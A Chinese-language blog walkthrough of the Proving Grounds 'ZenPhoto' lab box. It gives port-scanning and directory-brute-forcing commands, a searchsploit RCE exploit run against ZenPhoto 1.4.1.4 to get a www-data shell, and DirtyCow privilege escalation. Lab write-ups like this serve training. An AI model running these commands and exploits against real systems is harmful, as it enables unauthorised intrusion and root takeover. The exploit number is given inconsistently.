發表文章

目前顯示的是有「ZenPhoto」標籤的文章

Proving Grounds Practice : ZenPhoto Walkthrough

圖片
 Proving Grounds Practice : ZenPhoto Walkthrough Foothole (立足點 ) : 80 gobuster 發現 /test 底下有 ZenPhoto CMS,查看 Source Code 確認版本為 1.4.1.4 Searchsploit 發現該版本有 RCE,依據 Exploit 使用後成功拿到 Shell rm 建立 Reverse Shell 成功登入 PE ( 提權 ) : linpeas 發現 dirtycow 髒牛,依據 exploit 利用後提權成功 注意事項 : CMS ZenPhoto Dirtycow Rustscan,└─$ rustscan -a 192.168.171.41 --scripts none --ulimit 5000 | tee rustscan snmp check,└─$ sudo nmap -sU -p 161 192.168.171.41 | tee snmp nmap,└─$ sudo nmap -sCV -A -p 22,23,80,3306 192.168.171.41 | tee nmap    whatweb,└─$ whatweb -v http://192.168.171.41 | tee whatweb    80 / 80 /robots.txt gobuster 80 /,└─$ gobuster -w ./dirfuzzing.txt dir -u http://192.168.171.41 -t 150 -x txt,php,git,pdf | tee gobuster 80 /test,發現 CMS ZENPHOTO 查看 Source Code 發現版本是 1.4.1.4 searchsploit zenphoto 剛好有一個 18030 版本符合且是 RCE 複製內容發現是一個 php 檔案 執行看看,告知 Usage 是 Usage......: php 18083.php <host> <path> 依據範例使用 └─$ php 18083.php 192.168.171.41 /test/ 直接拿到 Shell,且 whoami 有效直接顯示 www-data...